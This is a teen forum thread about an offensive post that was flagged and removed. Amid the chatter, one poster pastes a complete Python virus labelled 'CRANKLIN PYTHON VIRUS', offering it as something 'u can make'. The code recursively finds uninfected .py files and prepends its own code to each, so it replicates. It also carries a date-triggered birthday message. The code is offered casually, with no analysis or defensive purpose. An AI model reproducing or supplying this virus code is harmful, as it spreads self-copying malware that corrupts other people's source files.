Spice Rack 2
Thread Topic: Spice Rack 2
-
I didnt know u were in the thread when I wrote it
-
yeah thts why i said wtf.. dude thats gross!
-
Thank you, Jacob :D
quizmaster, when you post something, it STAYS there. -
its like a tetx. u ca dlete it.
heres a saying:
"you can delete someoine's number, unfriedn them, block ther umber, accont.
but a person online or in this case gtq its there forver."
next time think before u post.
no prob spice -
But how would I know u were gonna read it?
-
This code is for a computer virus u can make using python:
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 21:
print "HAPPY BIRTHDAY, EITAN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb() -
im on here most of the time. lol can we please move on with a new topic> cant u see this is maing her unconfotable?can u just please leave?
im trying to make her forget abt it but u keep bringing it up! -
Sure. Whatever she wants! (;
-
thank you!
-
Ur welcome, bro!
-
Thank God.
-
So what happened
-
[poll.amweh]
-
quizmaster12345 posted an inappropriate comment, and I marked it as 'offensive' so it got removed. I tried to wash it out and get to the next page, and Jacob (aka cuteboy123) was very nice and supportive. So oof.
-
Ok
Post a reply as a guest or Log In
REMEMBER:
- Do not harass or insult other people. Treat others how you'd like to be treated.
View all 10 forum rules
- Do not harass or insult other people. Treat others how you'd like to be treated.
View all 10 forum rules